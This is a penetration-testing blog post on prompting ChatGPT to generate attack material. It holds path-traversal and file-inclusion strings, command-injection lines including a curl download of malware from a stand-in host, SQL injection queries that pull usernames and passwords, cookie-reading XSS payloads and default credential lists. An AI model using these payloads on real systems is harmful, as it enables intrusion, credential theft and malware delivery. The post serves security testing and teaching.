Partners in Crime #2 Discovery: From Fuzzing to Payloads Generation

Pentesters often find themselves knee-deep in payloads, wordlists, and creative exploits. In this second part of the series “Partners in Crime”, we’ll dive into how you can use ChatGPT as your cyber-sidekick for fuzzing, hidden endpoint enumeration, crafting injection queries, automating payloads, and authentication testing. Let’s explore these with prompts and real-world examples!

1. Fuzzing Input Fields

Fuzzing in penetration testing is a technique used to identify vulnerabilities by providing unexpected, invalid, or random data as input to a system. The goal is to observe how the application responds—whether it crashes, behaves unpredictably, or reveals security flaws like injection points. It’s a powerful method to uncover hidden issues in input validation and error handling.

Fuzzing is crucial for discovering input validation issues, but manually creating payloads? That’s the kind of monotony we’d gladly offload.

Prompt to AI:

Generate a list of fuzzing payloads to test for server-side path traversal, file inclusion, and command injection vulnerabilities. Ensure the payloads target potential misconfigurations or improper input handling in web applications.

Example Output:

Path Traversal Payloads:
- ../../etc/passwd
- ..\\..\\boot.ini
- /../../../var/log/auth.log
- %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

File Inclusion Payloads:
- php://filter/resource=index.php
- /proc/self/environ
- /var/www/html/config.php
- ../../../../usr/local/apache2/conf/httpd.conf

Command Injection Payloads:
- ; cat /etc/passwd
- | whoami
- `id`
- && ls -la
- | curl http://malicious-site.com -o /tmp/malware

Input these payloads into form fields or parameters while testing. Combine them with automation tools like Burp Intruder to target multiple inputs.

2. Enumerating Hidden Endpoints

Enumerating hidden endpoints involves identifying unlisted or obscure URLs, API endpoints, or directories within a web application. These endpoints may not be directly visible in the UI but could expose sensitive information, administrative functions, or unprotected resources. This process typically uses automated tools or crafted wordlists to discover these hidden assets, helping to uncover security flaws like insecure access controls or exposed backups.

Prompt to AI:

Based on a web app for online shopping, generate a wordlist of hidden endpoints, admin panels, and sensitive files.

Example Output:

- /admin
- /checkout
- /user/settings
- /backup.zip
- /api/v1/orders
- /.git/

Use these endpoints with tools like gobuster or dirsearch to find accessible resources.

3. Crafting SQL Injection Queries

SQL Injection (SQLi) is a technique used to exploit vulnerabilities in a web application’s database query handling. It occurs when user inputs are not properly sanitized, allowing attackers to manipulate SQL queries to access, modify, or delete data. Penetration testers use SQLi to test for flaws that could lead to unauthorized access, data breaches, or even complete database compromise.

Prompt to AI:

Write SQL queries to extract data from a database with tables 'users', 'products', and 'orders' using a SQL injection vulnerability.

Example Output:

1. Extract usernames and passwords:
' UNION SELECT username, password FROM users --

2. Extract table names:
' UNION SELECT table_name, NULL FROM information_schema.tables --

3. Extract sensitive columns:
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --

Use these queries directly in SQL-injectable parameters or tools like SQLMap to automate the process.

4. Automating XSS Payload Generation

Cross-Site Scripting (XSS) involves identifying vulnerabilities where an application improperly handles user input, allowing attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal session cookies, redirect users, or execute malicious actions on behalf of the victim. Penetration testers look for XSS vulnerabilities to ensure the application properly sanitizes and escapes input to prevent such attacks.

Prompt to AI:

Generate XSS payloads for these contexts:
1. Inside a <script> tag.
2. As a URL parameter.
3. Inside an HTML attribute.

Example Output:

1. <script>alert(document.cookie)</script>
2. https://example.com?q=<script>alert('XSS')</script>
3. <img src=x onerror="alert('XSS')">

Inject these payloads into input fields, URLs, or other attack surfaces and observe the behavior.

5. Testing Authentication Mechanisms

Authentication mechanisms refer to the processes and controls a web application uses to verify a user’s identity, such as login forms, multi-factor authentication (MFA), and password resets. Testers assess these mechanisms to identify weaknesses like brute-force vulnerabilities, session hijacking risks, or insecure password storage. The goal is to ensure the system reliably validates legitimate users while preventing unauthorized access.

Prompt to AI:

Generate a list of common username and password combinations for testing login pages.

Example Output:

Usernames:
- admin
- user
- test

Passwords:
- password
- 123456
- admin123

Feed these combinations into tools like Hydra or manually test them against the application.

Integrating AI into your pentesting toolkit doesn’t just make you faster; it allows you to tailor your testing approach to the specific context of the application under assessment. AI tools like ChatGPT excel at dynamically generating customized payloads and queries based on the unique attributes of your target. This adaptability makes them invaluable for addressing complex, nuanced scenarios in penetration testing.

For example, if you know the database version (e.g., MySQL 8.x or MSSQL 2019), you can craft prompts that generate SQL injection payloads optimized for the quirks and capabilities of that specific database. If you’ve identified potential usernames or passwords from the application’s error messages, publicly available data, or observed naming conventions, AI can help generate realistic credential combinations for brute-force or authentication bypass testing.

The same principle applies to crafting XSS payloads. Instead of using generic payloads, you can ask AI to generate JavaScript code specifically tailored to the type of XSS vulnerability you suspect—be it reflected, stored, or DOM-based. You might even specify the context, such as script tags, attributes, or inline event handlers, and the AI will provide payloads designed to work in those exact situations.

Moreover, AI enables rapid generation of test scenarios for more sophisticated attack chains. For instance:

• If testing a financial application, AI can help simulate business logic abuse by generating scenarios for manipulating transaction parameters.
• If exploring API vulnerabilities, AI can quickly draft crafted JSON payloads or specific HTTP requests based on the API documentation or observed behaviors.

This ability to adapt and generate highly specific output not only saves time but also allows testers to focus their energy on high-value tasks, such as analyzing results, understanding application logic, and planning strategic attacks. While AI won’t replace the creative thinking and intuition of a skilled penetration tester, it acts as a powerful ally, automating repetitive tasks and equipping you with tailored tools to uncover vulnerabilities efficiently.